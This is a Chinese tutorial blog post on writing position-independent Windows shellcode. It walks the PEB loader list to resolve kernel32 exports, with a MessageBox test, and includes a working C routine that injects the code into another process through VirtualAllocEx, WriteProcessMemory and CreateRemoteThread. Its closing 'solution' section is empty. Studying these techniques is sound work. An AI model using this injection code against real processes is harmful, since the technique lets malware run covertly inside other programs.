admin管理员组文章数量:1122884
文章目录
- 1.ShellCode是什么
- 2.ShellCode的编写原则
- 3.TEB与PEB
- 1)TEB线程信息
- 获取当前线程的TEB
- 2)PEB进程环境块
- 获取当前进程的TEB
- PEB_LDR_DATA
- LDR_DATA_TABLE_ENTRY
- 在任意进程中找到一个LDR_DATA_TABLE_ENTRY
- 1.一些结构体的定义
- 2.寻找方法
- 4.ShellCode的实现思路
- 5.远程注入代码
- 6.关于我在vs2017编写时遇到的问题
- 解决方法
1.ShellCode是什么
一段特殊的代码,不依赖与任何进程环境。简单来讲就是一段可以在Windows上任何进程都能运行的代码。
2.ShellCode的编写原则
不能依赖全局的东西
- 全局变量
- 函数
- 常量字符串
3.TEB与PEB
1)TEB线程信息
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : Ptr32 Void
+0x02c ThreadLocalStoragePointer : Ptr32 Void
+0x030 ProcessEnvironmentBlock : Ptr32 _PEB //TEB的地址
+0x034 LastErrorValue : Uint4B
+0x038 CountOfOwnedCriticalSections : Uint4B
+0x03c CsrClientThread : Ptr32 Void
+0x040 Win32ThreadInfo : Ptr32 Void
+0x044 User32Reserved : [26] Uint4B
+0x0ac UserReserved : [5] Uint4B
+0x0c0 WOW32Reserved : Ptr32 Void
+0x0c4 CurrentLocale : Uint4B
+0x0c8 FpSoftwareStatusRegister : Uint4B
+0x0cc SystemReserved1 : [54] Ptr32 Void
+0x1a4 ExceptionCode : Int4B
+0x1a8 ActivationContextStack : _ACTIVATION_CONTEXT_STACK
+0x1bc SpareBytes1 : [24] UChar
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
+0x6b4 RealClientId : _CLIENT_ID
+0x6bc GdiCachedProcessHandle : Ptr32 Void
+0x6c0 GdiClientPID : Uint4B
+0x6c4 GdiClientTID : Uint4B
+0x6c8 GdiThreadLocalInfo : Ptr32 Void
+0x6cc Win32ClientInfo : [62] Uint4B
+0x7c4 glDispatchTable : [233] Ptr32 Void
+0xb68 glReserved1 : [29] Uint4B
+0xbdc glReserved2 : Ptr32 Void
+0xbe0 glSectionInfo : Ptr32 Void
+0xbe4 glSection : Ptr32 Void
+0xbe8 glTable : Ptr32 Void
+0xbec glCurrentRC : Ptr32 Void
+0xbf0 glContext : Ptr32 Void
+0xbf4 LastStatusValue : Uint4B
+0xbf8 StaticUnicodeString : _UNICODE_STRING
+0xc00 StaticUnicodeBuffer : [261] Uint2B
+0xe0c DeallocationStack : Ptr32 Void
+0xe10 TlsSlots : [64] Ptr32 Void
+0xf10 TlsLinks : _LIST_ENTRY
+0xf18 Vdm : Ptr32 Void
+0xf1c ReservedForNtRpc : Ptr32 Void
+0xf20 DbgSsReserved : [2] Ptr32 Void
+0xf28 HardErrorsAreDisabled : Uint4B
+0xf2c Instrumentation : [16] Ptr32 Void
+0xf6c WinSockData : Ptr32 Void
+0xf70 GdiBatchCount : Uint4B
+0xf74 InDbgPrint : UChar
+0xf75 FreeStackOnTermination : UChar
+0xf76 HasFiberData : UChar
+0xf77 IdealProcessor : UChar
+0xf78 Spare3 : Uint4B
+0xf7c ReservedForPerf : Ptr32 Void
+0xf80 ReservedForOle : Ptr32 Void
+0xf84 WaitingOnLoaderLock : Uint4B
+0xf88 Wx86Thread : _Wx86ThreadState
+0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void
+0xf98 ImpersonationLocale : Uint4B
+0xf9c IsImpersonating : Uint4B
+0xfa0 NlsCache : Ptr32 Void
+0xfa4 pShimData : Ptr32 Void
+0xfa8 HeapVirtualAffinity : Uint4B
+0xfac CurrentTransactionHandle : Ptr32 Void
+0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME
+0xfb4 SafeThunkCall : UChar
+0xfb5 BooleanSpare : [3] UChar
获取当前线程的TEB
mov eax,fs[0]
2)PEB进程环境块
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA //模块信息
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
+0x02c KernelCallbackTable : Ptr32 Void
+0x030 SystemReserved : [1] Uint4B
+0x034 AtlThunkSListPtr32 : Uint4B
+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK
+0x03c TlsExpansionCounter : Uint4B
+0x040 TlsBitmap : Ptr32 Void
+0x044 TlsBitmapBits : [2] Uint4B
+0x04c ReadOnlySharedMemoryBase : Ptr32 Void
+0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
+0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
+0x058 AnsiCodePageData : Ptr32 Void
+0x05c OemCodePageData : Ptr32 Void
+0x060 UnicodeCaseTableData : Ptr32 Void
+0x064 NumberOfProcessors : Uint4B
+0x068 NtGlobalFlag : Uint4B
+0x070 CriticalSectionTimeout : _LARGE_INTEGER
+0x078 HeapSegmentReserve : Uint4B
+0x07c HeapSegmentCommit : Uint4B
+0x080 HeapDeCommitTotalFreeThreshold : Uint4B
+0x084 HeapDeCommitFreeBlockThreshold : Uint4B
+0x088 NumberOfHeaps : Uint4B
+0x08c MaximumNumberOfHeaps : Uint4B
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
+0x094 GdiSharedHandleTable : Ptr32 Void
+0x098 ProcessStarterHelper : Ptr32 Void
+0x09c GdiDCAttributeList : Uint4B
+0x0a0 LoaderLock : Ptr32 Void
+0x0a4 OSMajorVersion : Uint4B
+0x0a8 OSMinorVersion : Uint4B
+0x0ac OSBuildNumber : Uint2B
+0x0ae OSCSDVersion : Uint2B
+0x0b0 OSPlatformId : Uint4B
+0x0b4 ImageSubsystem : Uint4B
+0x0b8 ImageSubsystemMajorVersion : Uint4B
+0x0bc ImageSubsystemMinorVersion : Uint4B
+0x0c0 ImageProcessAffinityMask : Uint4B
+0x0c4 GdiHandleBuffer : [34] Uint4B
+0x14c PostProcessInitRoutine : Ptr32 void
+0x150 TlsExpansionBitmap : Ptr32 Void
+0x154 TlsExpansionBitmapBits : [32] Uint4B
+0x1d4 SessionId : Uint4B
+0x1d8 AppCompatFlags : _ULARGE_INTEGER
+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER
+0x1e8 pShimData : Ptr32 Void
+0x1ec AppCompatInfo : Ptr32 Void
+0x1f0 CSDVersion : _UNICODE_STRING
+0x1f8 ActivationContextData : Ptr32 Void
+0x1fc ProcessAssemblyStorageMap : Ptr32 Void
+0x200 SystemDefaultActivationContextData : Ptr32 Void
+0x204 SystemAssemblyStorageMap : Ptr32 Void
+0x208 MinimumStackCommit : Uint4B
获取当前进程的TEB
mov eax,fs:[0x30]
PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
//三个双向链表
+0x00c InLoadOrderModuleList : _LIST_ENTRY //加载模块顺序
+0x014 InMemoryOrderModuleList : _LIST_ENTRY //内存中模块顺序
+0x01c InInitializationOrderModuleList : _LIST_ENTRY //初始化模块的顺序
+0x024 EntryInProgress : Ptr32 Void
LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY //加载模块顺序
+0x008 InMemoryOrderLinks : _LIST_ENTRY //内存中模块顺序
+0x010 InInitializationOrderLinks : _LIST_ENTRY //初始化模块的顺序
+0x018 DllBase : Ptr32 Void //模块基地址
+0x01c EntryPoint : Ptr32 Void //模块的入口
+0x020 SizeOfImage : Uint4B //模块在内存中的大小
+0x024 FullDllName : _UNICODE_STRING //包含路径的模块名
+0x02c BaseDllName : _UNICODE_STRING //不包含路径的模块名
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B //引用计数
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 Void
+0x04c PatchInformation : Ptr32 Void
可以用LDR_DATA_TABLE_ENTRY找到一个进程的所有模块
在任意进程中找到一个LDR_DATA_TABLE_ENTRY
1.一些结构体的定义
//字符串结构
struct UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
WCHAR *Buffer;
};
//双向链表
struct LIST_ENTRY {
struct LIST_ENTRY *Flink;
struct LIST_ENTRY *Blink;
};
struct PEB_LDR_DATA
{
UINT32 Length;
UINT32 UChar;
void *SsHandle;
struct LIST_ENTRY InLoadOrderModuleList;
struct LIST_ENTRY InMemoryOrderModuleList;
struct LIST_ENTRY InInitializationOrderModuleList;
void *EntryInProgress;
};
struct LDR_DATA_TABLE_ENTRY
{
struct LIST_ENTRY InLoadOrderLists;
struct LIST_ENTRY InMemoryOrderLists;
struct LIST_ENTRY InInitializationOrderLists;
UINT32 DllBase;
UINT32 EntryPoint;
UINT32 SizeOfImage;
struct UNICODE_STRING FullDllName;
struct UNICODE_STRING BaseDllName;
UINT32 Flags;
UINT32 LoadCount;
UINT16 TlsIndex;
char buf[16];//多余的没用到直接填充
};
2.寻找方法
struct PEB_LDR_DATA *pld = NULL;
__asm {
mov eax, fs:[0x30] //找到PEB
mov eax, [eax + 0xc] //找到PEB_LDR_DATA
mov ss : [pld], eax //找到LDR_DATA_TABLE_ENTRY
}
由于时双向链表,所有找到一个节点就可以得到全部的节点
4.ShellCode的实现思路
所有进程都会依赖与kernel32.dll这个模块,找到这个模块中的LoadLibrary函数和GetProcAddress函数就可以在ShellCode中使用dll中的函数
主要步骤如下
- 寻找一个LDR_DATA_TABLE_ENTRY节点
- 遍历LDR_DATA_TABLE_ENTRY链表找到kernel32.dll这个模块,得到这个模块的DllBase
- 利用这个模块的导出表去找到GetProcAddress函数
- 再通过GetProcAddress函数找到LoadLibrary函数
代码实现
struct PEB_LDR_DATA *pld = NULL;
//1.找到一个LDR_DATA_TABLE_ENTRY节点
__asm {
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov ss : [pld], eax
}
WCHAR kernelString[] = {'K','E','R','N','E','L','3','2',0};
WCHAR *pst = kernelString;
//printf("%x\n",pld);
struct LDR_DATA_TABLE_ENTRY* start = (struct LDR_DATA_TABLE_ENTRY*)pld->InLoadOrderModuleList.Blink;
struct LDR_DATA_TABLE_ENTRY* it = (struct LDR_DATA_TABLE_ENTRY*)pld->InLoadOrderModuleList.Blink;
struct UNICODE_STRING name;
//2.遍历LDR_DATA_TABLE_ENTRY链表找到kernel32.dll这个模块
do
{
name = it->BaseDllName;
WCHAR *pbuf = name.Buffer;
if (name.Buffer != NULL)
{
while (*pst != 0 && *pst++ == *pbuf++);
//如果为零表示已经找到这个模块
if (*pst == 0) break;
pst = kernelString;
}
it = (struct LDR_DATA_TABLE_ENTRY*)it->InLoadOrderLists.Flink;
} while (it != start);
//判断是否找到
if (it == start && pst != 0)
{
return;
}
HMODULE DllBase = (HMODULE)it->DllBase;
//PE结构去找导出表
IMAGE_DOS_HEADER *dos_head = (IMAGE_DOS_HEADER *)DllBase;
IMAGE_NT_HEADERS32 *pe_head = (IMAGE_NT_HEADERS32 *)((char *)DllBase + dos_head->e_lfanew);
//导出表
IMAGE_EXPORT_DIRECTORY *Export = (IMAGE_EXPORT_DIRECTORY *)((char *)DllBase + pe_head->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//导出表的三个子表,函数名称表,函数地址表,函数序号表
DWORD *function_name = (DWORD *)((char *)DllBase + Export->AddressOfNames);
DWORD *function_addrs = (DWORD *)((char *)DllBase + Export->AddressOfFunctions);
WORD *function_num = (WORD *)((char *)DllBase + Export->AddressOfNameOrdinals);
//3.利用导出表去找到GetProcAddress函数
char gpastring[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
char *pgpa = gpastring;
int num = Export->NumberOfNames;
char *fun_name = NULL;
int i = 0;
for (i = 0; i < num; i++)
{
fun_name = (char *)((char *)DllBase + function_name[i]);
while ( *pgpa != 0 && *pgpa++ == *fun_name++);
if (*pgpa == 0) break;
pgpa = gpastring;
}
//GetProcAddress函数
GetProcAddressCallBack pGetProcAddress = (void *)((char *)DllBase + function_addrs[function_num[i]]);
//LoadLibrary函数
char loadlibStr[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
HMODULE (WINAPI *pLoadLibraryA)(LPCSTR) = pGetProcAddress(DllBase, loadlibStr);
//以下代码师测试代码,前面完成之后下面开始写ShellCode的正真内容
char userStr[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
HMODULE userModele = pLoadLibraryA(userStr);
char messageStr[] = { 'M','e','s','s','a','g','e','B','o','x','A',0 };
MessageBoxACallBack pMeaageBoxA = pGetProcAddress(userModele, messageStr);
pMeaageBoxA(NULL, messageStr, userStr,NULL);
5.远程注入代码
注入代码实现思路
- OpenProcess打开一个进程
- 为远程进程申请一段空间(VirtualAllocEx)
- 使用WriteProcessMemory写入ShellCode代码
- 使用CreateRemoteThread创建远程线程执行ShellCode代码
代码实现
//iProcessID为进程ID
BOOL InjectDll(int iProcessID)
{
//1.OpenProcess打开一个进程
HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, iProcessID);
if (hRemoteProcess == INVALID_HANDLE_VALUE)
{
return FALSE;
}
//2.为远程进程申请一段空间
char *pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pszLibFileRemote)
{
return FALSE;
}
//计算代码正真位置
unsigned char *address = (void *)shellCode;
unsigned char *paddress = (void *)shellCode;
if (*paddress == 0xE9)
{
DWORD off = *((DWORD *)(paddress + 1));
address = address + off + 5;
}
//3.使用WriteProcessMemory写入ShellCode代码
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, address, 4096, NULL);
DWORD err = GetLastError();
//4.使用CreateRemoteThread创建远程线程执行ShellCode代码
HANDLE hRemoteThread;
if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pszLibFileRemote, NULL, 0, NULL)) == NULL)
{
err = GetLastError();
return FALSE;
}
// 释放句柄
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return TRUE;
}
写下面这段代码的原因时因为vs中用一个jmp的过程
unsigned char *address = (void *)shellCode;
unsigned char *paddress = (void *)shellCode;
if (*paddress == 0xE9)
{
DWORD off = *((DWORD *)(paddress + 1));
address = address + off + 5;
}
函数调用时会先跳转到jmp处,再跳转到正真的函数,我们要拷贝的是正真跳转的函数
6.关于我在vs2017编写时遇到的问题
再函数调用完有一个堆栈检查,这个堆栈检查是一个函数。所有使用这个函数是依赖环境的导致一开始我的ShellCode没用写成功
解决方法
版权声明:本文标题:ShellCode编写和远程代码注入 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.betaflare.com/biancheng/1726378530a1084474.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论